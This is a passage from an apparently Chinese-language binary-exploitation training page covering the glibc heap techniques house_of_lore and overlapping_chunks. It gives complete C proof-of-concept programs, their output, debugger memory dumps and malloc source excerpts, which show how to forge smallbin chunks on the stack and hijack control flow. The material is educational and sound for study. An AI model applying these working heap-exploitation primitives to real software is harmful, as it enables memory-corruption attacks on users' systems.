(/lib/x86_64-linux-gnu/libc.so.6+0x2082f)\n
"},{"location":"Training/Material/Binary%20Exploitation/#house_of_lore","title":"house_of_lore","text":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n\nvoid jackpot(){ puts(\"Nice jump d00d\"); exit(0); }\n\nint main() {\n intptr_t *victim = malloc(0x80);\n memset(victim, 'A', 0x80);\n void *p5 = malloc(0x10);\n memset(p5, 'A', 0x10);\n intptr_t *victim_chunk = victim - 2;\n fprintf(stderr, \"Allocated the victim (small) chunk: %p\\n\", victim);\n\n intptr_t* stack_buffer_1[4] = {0};\n intptr_t* stack_buffer_2[3] = {0};\n stack_buffer_1[0] = 0;\n stack_buffer_1[2] = victim_chunk;\n stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n fprintf(stderr, \"stack_buffer_1: %p\\n\", (void*)stack_buffer_1);\n fprintf(stderr, \"stack_buffer_2: %p\\n\\n\", (void*)stack_buffer_2);\n\n free((void*)victim);\n fprintf(stderr, \"Freeing the victim chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n fprintf(stderr, \"victim->fd: %p\\n\", (void *)victim[0]);\n fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n void *p2 = malloc(0x100);\n fprintf(stderr, \"Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\\n\", p2);\n fprintf(stderr, \"The victim chunk %p will be inserted in front of the SmallBin\\n\", victim);\n fprintf(stderr, \"victim->fd: %p\\n\", (void *)victim[0]);\n fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n victim[1] = (intptr_t)stack_buffer_1;\n fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n void *p3 = malloc(0x40);\n char *p4 = malloc(0x80);\n memset(p4, 'A', 0x10);\n fprintf(stderr, \"This last malloc should return a chunk at the position injected in bin->bk: %p\\n\", p4);\n fprintf(stderr, \"The fd pointer of stack_buffer_2 has changed: %p\\n\\n\", stack_buffer_2[2]);\n\n intptr_t sc = (intptr_t)jackpot;\n memcpy((p4+40), &sc, 8);\n}\n$ gcc -g house_of_lore.c\n$ ./a.out\nAllocated the victim (small) chunk: 0x1b2e010\nstack_buffer_1: 0x7ffe5c570350\nstack_buffer_2: 0x7ffe5c570330\n\nFreeing the victim chunk 0x1b2e010, it will be inserted in the unsorted bin\nvictim->fd: 0x7f239d4c9b78\nvictim->bk: 0x7f239d4c9b78\n\nMalloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x1b2e0c0\nThe victim chunk 0x1b2e010 will be inserted in front of the SmallBin\nvictim->fd: 0x7f239d4c9bf8\nvictim->bk: 0x7f239d4c9bf8\n\nNow emulating a vulnerability that can overwrite the victim->bk pointer\nThis last malloc should return a chunk at the position injected in bin->bk: 0x7ffe5c570360\nThe fd pointer of stack_buffer_2 has changed: 0x7f239d4c9bf8\n\nNice jump d00d\n
\u5728\u524d\u9762\u7684\u6280\u672f\u4e2d\uff0c\u6211\u4eec\u5df2\u7ecf\u77e5\u9053\u600e\u6837\u53bb\u4f2a\u9020\u4e00\u4e2a fake chunk\uff0c\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u8981\u5c1d\u8bd5\u4f2a\u9020\u4e00\u6761 small bins \u94fe\u3002
\u9996\u5148\u521b\u5efa\u4e24\u4e2a chunk\uff0c\u7b2c\u4e00\u4e2a\u662f\u6211\u4eec\u7684 victim chunk\uff0c\u8bf7\u786e\u4fdd\u5b83\u662f\u4e00\u4e2a small chunk\uff0c\u7b2c\u4e8c\u4e2a\u968f\u610f\uff0c\u53ea\u662f\u4e3a\u4e86\u786e\u4fdd\u5728 free \u65f6 victim chunk \u4e0d\u4f1a\u88ab\u5408\u5e76\u8fdb top chunk \u91cc\u3002\u7136\u540e\uff0c\u5728\u6808\u4e0a\u4f2a\u9020\u4e24\u4e2a fake chunk\uff0c\u8ba9 fake chunk 1 \u7684 fd \u6307\u5411 victim chunk\uff0cbk \u6307\u5411 fake chunk 2\uff1bfake chunk 2 \u7684 fd \u6307\u5411 fake chunk 1\uff0c\u8fd9\u6837\u4e00\u4e2a small bin \u94fe\u5c31\u5dee\u4e0d\u591a\u4e86\uff1a
gef\u27a4 x/26gx victim-2\n0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk\n0x603010: 0x4141414141414141 0x4141414141414141\n0x603020: 0x4141414141414141 0x4141414141414141\n0x603030: 0x4141414141414141 0x4141414141414141\n0x603040: 0x4141414141414141 0x4141414141414141\n0x603050: 0x4141414141414141 0x4141414141414141\n0x603060: 0x4141414141414141 0x4141414141414141\n0x603070: 0x4141414141414141 0x4141414141414141\n0x603080: 0x4141414141414141 0x4141414141414141\n0x603090: 0x0000000000000000 0x0000000000000021 <-- chunk p5\n0x6030a0: 0x4141414141414141 0x4141414141414141\n0x6030b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk\n0x6030c0: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/10gx &stack_buffer_2\n0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2\n0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1\n0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1\n0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2\n0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00\n
molloc \u4e2d\u5bf9\u4e8e small bin \u94fe\u8868\u7684\u68c0\u67e5\u662f\u8fd9\u6837\u7684\uff1a
[...]\n\n else\n {\n bck = victim->bk;\n if (__glibc_unlikely (bck->fd != victim))\n {\n errstr = \"malloc(): smallbin double linked list corrupted\";\n goto errout;\n }\n set_inuse_bit_at_offset (victim, nb);\n bin->bk = bck;\n bck->fd = bin;\n\n [...]\n
\u5373\u68c0\u67e5 bin \u4e2d\u7b2c\u4e8c\u5757\u7684 bk \u6307\u9488\u662f\u5426\u6307\u5411\u7b2c\u4e00\u5757\uff0c\u6765\u53d1\u73b0\u5bf9 small bins \u7684\u7834\u574f\u3002\u4e3a\u4e86\u7ed5\u8fc7\u8fd9\u4e2a\u68c0\u67e5\uff0c\u6240\u4ee5\u624d\u9700\u8981\u540c\u65f6\u4f2a\u9020 bin \u4e2d\u7684\u524d 2 \u4e2a chunk\u3002
\u63a5\u4e0b\u6765\u91ca\u653e\u6389 victim chunk\uff0c\u5b83\u4f1a\u88ab\u653e\u5230 unsoted bin \u4e2d\uff0c\u4e14 fd/bk \u5747\u6307\u5411 unsorted bin \u7684\u5934\u90e8\uff1a
gef\u27a4 x/26gx victim-2\n0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed]\n0x603010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer\n0x603020: 0x4141414141414141 0x4141414141414141\n0x603030: 0x4141414141414141 0x4141414141414141\n0x603040: 0x4141414141414141 0x4141414141414141\n0x603050: 0x4141414141414141 0x4141414141414141\n0x603060: 0x4141414141414141 0x4141414141414141\n0x603070: 0x4141414141414141 0x4141414141414141\n0x603080: 0x4141414141414141 0x4141414141414141\n0x603090: 0x0000000000000090 0x0000000000000020 <-- chunk p5\n0x6030a0: 0x4141414141414141 0x4141414141414141\n0x6030b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk\n0x6030c0: 0x0000000000000000 0x0000000000000000\ngef\u27a4 heap bins unsorted\n[ Unsorted Bin for arena 'main_arena' ]\n[+] unsorted_bins[0]: fw=0x603000, bk=0x603000\n \u2192 Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)\n
\u8fd9\u65f6\uff0c\u7533\u8bf7\u4e00\u5757\u5927\u7684 chunk\uff0c\u53ea\u9700\u8981\u5927\u5230\u8ba9 malloc \u5728 unsorted bin \u4e2d\u627e\u4e0d\u5230\u5408\u9002\u7684\u5c31\u53ef\u4ee5\u4e86\u3002\u8fd9\u6837\u539f\u672c\u5728 unsorted bin \u4e2d\u7684 chunk\uff0c\u4f1a\u88ab\u6574\u7406\u56de\u5404\u81ea\u7684\u6240\u5c5e\u7684 bins \u4e2d\uff0c\u8fd9\u91cc\u5c31\u662f small bins\uff1a
gef\u27a4 heap bins small\n[ Small Bins for arena 'main_arena' ]\n[+] small_bins[8]: fw=0x603000, bk=0x603000\n \u2192 Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)\n
\u63a5\u4e0b\u6765\u662f\u6700\u5173\u952e\u7684\u4e00\u6b65\uff0c\u5047\u8bbe\u5b58\u5728\u4e00\u4e2a\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u8ba9\u6211\u4eec\u4fee\u6539 victim chunk \u7684 bk \u6307\u9488\u3002\u90a3\u4e48\u5c31\u4fee\u6539 bk \u8ba9\u5b83\u6307\u5411\u6211\u4eec\u5728\u6808\u4e0a\u5e03\u7f6e\u7684 fake small bin\uff1a
gef\u27a4 x/26gx victim-2\n0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed]\n0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50 <-- bk->fake chunk 1\n0x603020: 0x4141414141414141 0x4141414141414141\n0x603030: 0x4141414141414141 0x4141414141414141\n0x603040: 0x4141414141414141 0x4141414141414141\n0x603050: 0x4141414141414141 0x4141414141414141\n0x603060: 0x4141414141414141 0x4141414141414141\n0x603070: 0x4141414141414141 0x4141414141414141\n0x603080: 0x4141414141414141 0x4141414141414141\n0x603090: 0x0000000000000090 0x0000000000000020 <-- chunk p5\n0x6030a0: 0x4141414141414141 0x4141414141414141\n0x6030b0: 0x0000000000000000 0x0000000000000111 <-- chunk p2\n0x6030c0: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/10gx &stack_buffer_2\n0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2\n0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1\n0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1\n0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2\n0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00\n
\u6211\u4eec\u77e5\u9053 small bins \u662f\u5148\u8fdb\u540e\u51fa\u7684\uff0c\u8282\u70b9\u7684\u589e\u52a0\u53d1\u751f\u5728\u94fe\u8868\u5934\u90e8\uff0c\u800c\u5220\u9664\u53d1\u751f\u5728\u5c3e\u90e8\u3002\u8fd9\u65f6\u6574\u6761\u94fe\u662f\u8fd9\u6837\u7684\uff1a
HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> victim chunk <-> TAIL\n\nfd: ->\nbk: <-\n
fake chunk 2 \u7684 bk \u6307\u5411\u4e86\u4e00\u4e2a\u672a\u5b9a\u4e49\u7684\u5730\u5740\uff0c\u5982\u679c\u80fd\u901a\u8fc7\u5185\u5b58\u6cc4\u9732\u7b49\u624b\u6bb5\uff0c\u62ff\u5230 HEAD \u7684\u5730\u5740\u5e76\u586b\u8fdb\u53bb\uff0c\u6574\u6761\u94fe\u5c31\u95ed\u5408\u4e86\u3002\u5f53\u7136\u8fd9\u91cc\u5b8c\u5168\u6ca1\u6709\u5fc5\u8981\u8fd9\u4e48\u505a\u3002
\u63a5\u4e0b\u6765\u7684\u7b2c\u4e00\u4e2a malloc\uff0c\u4f1a\u8fd4\u56de victim chunk \u7684\u5730\u5740\uff0c\u5982\u679c malloc \u7684\u5927\u5c0f\u6b63\u597d\u7b49\u4e8e victim chunk \u7684\u5927\u5c0f\uff0c\u90a3\u4e48\u60c5\u51b5\u4f1a\u7b80\u5355\u4e00\u70b9\u3002\u4f46\u662f\u8fd9\u91cc\u6211\u4eec\u4e0d\u8fd9\u6837\u505a\uff0cmalloc \u4e00\u4e2a\u5c0f\u4e00\u70b9\u7684\u5730\u5740\uff0c\u53ef\u4ee5\u770b\u5230\uff0cmalloc \u4ece small bin \u91cc\u53d6\u51fa\u4e86\u672b\u5c3e\u7684 victim chunk\uff0c\u5207\u4e86\u4e00\u5757\u8fd4\u56de\u7ed9 chunk p3\uff0c\u7136\u540e\u628a\u5269\u4e0b\u7684\u90e8\u5206\u653e\u56de\u5230\u4e86 unsorted bin\u3002\u540c\u65f6 small bin \u53d8\u6210\u4e86\u8fd9\u6837\uff1a
HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> TAIL\ngef\u27a4 x/26gx victim-2\n0x603000: 0x0000000000000000 0x0000000000000051 <-- chunk p3\n0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50\n0x603020: 0x4141414141414141 0x4141414141414141\n0x603030: 0x4141414141414141 0x4141414141414141\n0x603040: 0x4141414141414141 0x4141414141414141\n0x603050: 0x4141414141414141 0x0000000000000041 <-- unsorted bin\n0x603060: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer\n0x603070: 0x4141414141414141 0x4141414141414141\n0x603080: 0x4141414141414141 0x4141414141414141\n0x603090: 0x0000000000000040 0x0000000000000020 <-- chunk p5\n0x6030a0: 0x4141414141414141 0x4141414141414141\n0x6030b0: 0x0000000000000000 0x0000000000000111 <-- chunk p2\n0x6030c0: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/10gx &stack_buffer_2\n0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2\n0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1\n0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1\n0x7fffffffdc60: 0x00007ffff7dd1bf8 0x00007fffffffdc30 <-- fd->TAIL, bk->fake chunk 2\n0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00\ngef\u27a4 heap bins unsorted\n[ Unsorted Bin for arena 'main_arena' ]\n[+] unsorted_bins[0]: fw=0x603050, bk=0x603050\n \u2192 Chunk(addr=0x603060, size=0x40, flags=PREV_INUSE)\n
\u6700\u540e\uff0c\u518d\u6b21 malloc \u5c06\u8fd4\u56de fake chunk 1 \u7684\u5730\u5740\uff0c\u5730\u5740\u5728\u6808\u4e0a\u4e14\u6211\u4eec\u80fd\u591f\u63a7\u5236\u3002\u540c\u65f6 small bin \u53d8\u6210\u8fd9\u6837\uff1a
HEAD(undefined) <-> fake chunk 2 <-> TAIL\ngef\u27a4 x/10gx &stack_buffer_2\n0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2\n0x7fffffffdc40: 0x00007ffff7dd1bf8 0x0000000000400aed <-- fd->TAIL\n0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- chunk 4\n0x7fffffffdc60: 0x4141414141414141 0x4141414141414141\n0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00\n
\u4e8e\u662f\u6211\u4eec\u5c31\u6210\u529f\u5730\u9a97\u8fc7\u4e86 malloc \u5728\u6808\u4e0a\u5206\u914d\u4e86\u4e00\u4e2a chunk\u3002
\u6700\u540e\u518d\u60f3\u4e00\u4e0b\uff0c\u5176\u5b9e\u6700\u521d\u7684 victim chunk \u4f7f\u7528 fast chunk \u4e5f\u662f\u53ef\u4ee5\u7684\uff0c\u5176\u91ca\u653e\u540e\u867d\u7136\u662f\u88ab\u52a0\u5165\u5230 fast bins \u4e2d\uff0c\u800c\u4e0d\u662f unsorted bin\uff0c\u4f46 malloc \u4e4b\u540e\uff0c\u4e5f\u4f1a\u88ab\u6574\u7406\u5230 small bins \u91cc\u3002\u81ea\u884c\u5c1d\u8bd5\u5427\u3002
heap-use-after-free\uff0c\u6240\u4ee5\u4e0a\u9762\u6211\u4eec\u7528\u4e8e\u4fee\u6539 bk \u6307\u9488\u7684\u6f0f\u6d1e\uff0c\u5e94\u8be5\u5c31\u662f\u4e00\u4e2a UAF \u5427\uff0c\u5f53\u7136\u6ea2\u51fa\u4e5f\u662f\u53ef\u4ee5\u7684\uff1a
$ gcc -fsanitize=address -g house_of_lore.c\n$ ./a.out\nAllocated the victim (small) chunk: 0x60c00000bf80\nstack_buffer_1: 0x7ffd1fbc5cd0\nstack_buffer_2: 0x7ffd1fbc5c90\n\nFreeing the victim chunk 0x60c00000bf80, it will be inserted in the unsorted bin\n=================================================================\n==6034==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c00000bf80 at pc 0x000000400eec bp 0x7ffd1fbc5bf0 sp 0x7ffd1fbc5be0\nREAD of size 8 at 0x60c00000bf80 thread T0\n #0 0x400eeb in main /home/firmy/how2heap/house_of_lore.c:27\n #1 0x7febee33c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)\n #2 0x400b38 in _start (/home/firmy/how2heap/a.out+0x400b38)\n
\u6700\u540e\u518d\u7ed9\u4e00\u4e2a libc-2.27 \u7248\u672c\u7684\uff1a
#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n\nvoid jackpot(){ puts(\"Nice jump d00d\"); exit(0); }\n\nint main() {\n intptr_t *victim = malloc(0x80);\n\n // fill the tcache\n int *a[10];\n int i;\n for (i = 0; i < 7; i++) {\n a[i] = malloc(0x80);\n }\n for (i = 0; i < 7; i++) {\n free(a[i]);\n }\n\n memset(victim, 'A', 0x80);\n void *p5 = malloc(0x10);\n memset(p5, 'A', 0x10);\n intptr_t *victim_chunk = victim - 2;\n fprintf(stderr, \"Allocated the victim (small) chunk: %p\\n\", victim);\n\n intptr_t* stack_buffer_1[4] = {0};\n intptr_t* stack_buffer_2[6] = {0};\n stack_buffer_1[0] = 0;\n stack_buffer_1[2] = victim_chunk;\n stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n stack_buffer_2[3] = (intptr_t*)stack_buffer_1; // 3675 bck->fd = bin;\n\n fprintf(stderr, \"stack_buffer_1: %p\\n\", (void*)stack_buffer_1);\n fprintf(stderr, \"stack_buffer_2: %p\\n\\n\", (void*)stack_buffer_2);\n\n free((void*)victim);\n fprintf(stderr, \"Freeing the victim chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n fprintf(stderr, \"victim->fd: %p\\n\", (void *)victim[0]);\n fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n void *p2 = malloc(0x100);\n fprintf(stderr, \"Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\\n\", p2);\n fprintf(stderr, \"The victim chunk %p will be inserted in front of the SmallBin\\n\", victim);\n fprintf(stderr, \"victim->fd: %p\\n\", (void *)victim[0]);\n fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n victim[1] = (intptr_t)stack_buffer_1;\n fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n void *p3 = malloc(0x40);\n\n // empty the tcache\n for (i = 0; i < 7; i++) {\n a[i] = malloc(0x80);\n }\n\n char *p4 = malloc(0x80);\n memset(p4, 'A', 0x10);\n fprintf(stderr, \"This last malloc should return a chunk at the position injected in bin->bk: %p\\n\", p4);\n fprintf(stderr, \"The fd pointer of stack_buffer_2 has changed: %p\\n\\n\", stack_buffer_2[2]);\n\n intptr_t sc = (intptr_t)jackpot;\n memcpy((p4+0xa8), &sc, 8);\n}\n$ gcc -g house_of_lore.c\n$ ./a.out\nAllocated the victim (small) chunk: 0x55674d75f260\nstack_buffer_1: 0x7ffff71fb1d0\nstack_buffer_2: 0x7ffff71fb1f0\n\nFreeing the victim chunk 0x55674d75f260, it will be inserted in the unsorted bin\nvictim->fd: 0x7f1eba392b00\nvictim->bk: 0x7f1eba392b00\n\nMalloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x55674d75f700\nThe victim chunk 0x55674d75f260 will be inserted in front of the SmallBin\nvictim->fd: 0x7f1eba392b80\nvictim->bk: 0x7f1eba392b80\n\nNow emulating a vulnerability that can overwrite the victim->bk pointer\nThis last malloc should return a chunk at the position injected in bin->bk: 0x7ffff71fb1e0\nThe fd pointer of stack_buffer_2 has changed: 0x7ffff71fb1e0\n\nNice jump d00d\n
"},{"location":"Training/Material/Binary%20Exploitation/#overlapping_chunks","title":"overlapping_chunks","text":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n\nint main() {\n intptr_t *p1,*p2,*p3,*p4;\n\n p1 = malloc(0x90 - 8);\n p2 = malloc(0x90 - 8);\n p3 = malloc(0x80 - 8);\n memset(p1, 'A', 0x90 - 8);\n memset(p2, 'A', 0x90 - 8);\n memset(p3, 'A', 0x80 - 8);\n fprintf(stderr, \"Now we allocate 3 chunks on the heap\\n\");\n fprintf(stderr, \"p1=%p\\np2=%p\\np3=%p\\n\\n\", p1, p2, p3);\n\n free(p2);\n fprintf(stderr, \"Freeing the chunk p2\\n\");\n\n int evil_chunk_size = 0x111;\n int evil_region_size = 0x110 - 8;\n *(p2-1) = evil_chunk_size; // Overwriting the \"size\" field of chunk p2\n fprintf(stderr, \"Emulating an overflow that can overwrite the size of the chunk p2.\\n\\n\");\n\n p4 = malloc(evil_region_size);\n fprintf(stderr, \"p4: %p ~ %p\\n\", p4, p4+evil_region_size);\n fprintf(stderr, \"p3: %p ~ %p\\n\", p3, p3+0x80);\n\n fprintf(stderr, \"\\nIf we memset(p4, 'B', 0xd0), we have:\\n\");\n memset(p4, 'B', 0xd0);\n fprintf(stderr, \"p4 = %s\\n\", (char *)p4);\n fprintf(stderr, \"p3 = %s\\n\", (char *)p3);\n\n fprintf(stderr, \"\\nIf we memset(p3, 'C', 0x50), we have:\\n\");\n memset(p3, 'C', 0x50);\n fprintf(stderr, \"p4 = %s\\n\", (char *)p4);\n fprintf(stderr, \"p3 = %s\\n\", (char *)p3);\n}\n$ gcc -g overlapping_chunks.c\n$ ./a.out\nNow we allocate 3 chunks on the heap\np1=0x1e2b010\np2=0x1e2b0a0\np3=0x1e2b130\n\nFreeing the chunk p2\nEmulating an overflow that can overwrite the size of the chunk p2.\n\np4: 0x1e2b0a0 ~ 0x1e2b8e0\np3: 0x1e2b130 ~ 0x1e2b530\n\nIf we memset(p4, 'B', 0xd0), we have:\np4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa\np3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa\n\nIf we memset(p3, 'C', 0x50), we have:\np4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa\np3 = CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa\n
\u8fd9\u4e2a\u6bd4\u8f83\u7b80\u5355\uff0c\u5c31\u662f\u5806\u5757\u91cd\u53e0\u7684\u95ee\u9898\u3002\u901a\u8fc7\u4e00\u4e2a\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u6539\u5199 unsorted bin \u4e2d\u7a7a\u95f2\u5806\u5757\u7684 size\uff0c\u6539\u53d8\u4e0b\u4e00\u6b21 malloc \u53ef\u4ee5\u8fd4\u56de\u7684\u5806\u5757\u5927\u5c0f\u3002
\u9996\u5148\u5206\u914d\u4e09\u4e2a\u5806\u5757\uff0c\u7136\u540e\u91ca\u653e\u6389\u4e2d\u95f4\u7684\u4e00\u4e2a\uff1a
gef\u27a4 x/60gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1\n0x602010: 0x4141414141414141 0x4141414141414141\n0x602020: 0x4141414141414141 0x4141414141414141\n0x602030: 0x4141414141414141 0x4141414141414141\n0x602040: 0x4141414141414141 0x4141414141414141\n0x602050: 0x4141414141414141 0x4141414141414141\n0x602060: 0x4141414141414141 0x4141414141414141\n0x602070: 0x4141414141414141 0x4141414141414141\n0x602080: 0x4141414141414141 0x4141414141414141\n0x602090: 0x4141414141414141 0x0000000000000091 <-- chunk 2 [be freed]\n0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78\n0x6020b0: 0x4141414141414141 0x4141414141414141\n0x6020c0: 0x4141414141414141 0x4141414141414141\n0x6020d0: 0x4141414141414141 0x4141414141414141\n0x6020e0: 0x4141414141414141 0x4141414141414141\n0x6020f0: 0x4141414141414141 0x4141414141414141\n0x602100: 0x4141414141414141 0x4141414141414141\n0x602110: 0x4141414141414141 0x4141414141414141\n0x602120: 0x0000000000000090 0x0000000000000080 <-- chunk 3\n0x602130: 0x4141414141414141 0x4141414141414141\n0x602140: 0x4141414141414141 0x4141414141414141\n0x602150: 0x4141414141414141 0x4141414141414141\n0x602160: 0x4141414141414141 0x4141414141414141\n0x602170: 0x4141414141414141 0x4141414141414141\n0x602180: 0x4141414141414141 0x4141414141414141\n0x602190: 0x4141414141414141 0x4141414141414141\n0x6021a0: 0x4141414141414141 0x0000000000020e61 <-- top chunk\n0x6021b0: 0x0000000000000000 0x0000000000000000\n0x6021c0: 0x0000000000000000 0x0000000000000000\n0x6021d0: 0x0000000000000000 0x0000000000000000\ngef\u27a4 heap bins unsorted\n[ Unsorted Bin for arena 'main_arena' ]\n[+] unsorted_bins[0]: fw=0x602090, bk=0x602090\n \u2192 Chunk(addr=0x6020a0, size=0x90, flags=PREV_INUSE)\n
chunk 2 \u88ab\u653e\u5230\u4e86 unsorted bin \u4e2d\uff0c\u5176 size \u503c\u4e3a 0x90\u3002
\u63a5\u4e0b\u6765\uff0c\u5047\u8bbe\u6211\u4eec\u6709\u4e00\u4e2a\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u6539\u5199 chunk 2 \u7684 size \u503c\uff0c\u6bd4\u5982\u8fd9\u91cc\u6211\u4eec\u5c06\u5176\u6539\u4e3a 0x111\uff0c\u4e5f\u5c31\u662f\u539f\u672c chunk 2 \u548c chunk 3 \u7684\u5927\u5c0f\u76f8\u52a0\uff0c\u6700\u540e\u4e00\u4f4d\u662f 1 \u8868\u793a chunk 1 \u662f\u5728\u4f7f\u7528\u7684\uff0c\u5176\u5b9e\u6709\u6ca1\u6709\u90fd\u65e0\u6240\u8c13\u3002
gef\u27a4 heap bins unsorted\n[ Unsorted Bin for arena 'main_arena' ]\n[+] unsorted_bins[0]: fw=0x602090, bk=0x602090\n \u2192 Chunk(addr=0x6020a0, size=0x110, flags=PREV_INUSE)\n
\u8fd9\u65f6 unsorted bin \u4e2d\u7684\u6570\u636e\u4e5f\u66f4\u6539\u4e86\u3002
\u63a5\u4e0b\u6765 malloc \u4e00\u4e2a\u5927\u5c0f\u7684\u7b49\u4e8e chunk 2 \u548c chunk 3 \u4e4b\u548c\u7684 chunk 4\uff0c\u8fd9\u4f1a\u5c06 chunk 2 \u548c chunk 3 \u90fd\u5305\u542b\u8fdb\u6765\uff1a
gef\u27a4 x/60gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1\n0x602010: 0x4141414141414141 0x4141414141414141\n0x602020: 0x4141414141414141 0x4141414141414141\n0x602030: 0x4141414141414141 0x4141414141414141\n0x602040: 0x4141414141414141 0x4141414141414141\n0x602050: 0x4141414141414141 0x4141414141414141\n0x602060: 0x4141414141414141 0x4141414141414141\n0x602070: 0x4141414141414141 0x4141414141414141\n0x602080: 0x4141414141414141 0x4141414141414141\n0x602090: 0x4141414141414141 0x0000000000000111 <-- chunk 4\n0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78\n0x6020b0: 0x4141414141414141 0x4141414141414141\n0x6020c0: 0x4141414141414141 0x4141414141414141\n0x6020d0: 0x4141414141414141 0x4141414141414141\n0x6020e0: 0x4141414141414141 0x4141414141414141\n0x6020f0: 0x4141414141414141 0x4141414141414141\n0x602100: 0x4141414141414141 0x4141414141414141\n0x602110: 0x4141414141414141 0x4141414141414141\n0x602120: 0x0000000000000090 0x0000000000000080 <-- chunk 3\n0x602130: 0x4141414141414141 0x4141414141414141\n0x602140: 0x4141414141414141 0x4141414141414141\n0x602150: 0x4141414141414141 0x4141414141414141\n0x602160: 0x4141414141414141 0x4141414141414141\n0x602170: 0x4141414141414141 0x4141414141414141\n0x602180: 0x4141414141414141 0x4141414141414141\n0x602190: 0x4141414141414141 0x4141414141414141\n0x6021a0: 0x4141414141414141 0x0000000000020e61 <-- top chunk\n0x6021b0: 0x0000000000000000 0x0000000000000000\n0x6021c0: 0x0000000000000000 0x0000000000000000\n0x6021d0: 0x0000000000000000 0x0000000000000000\n
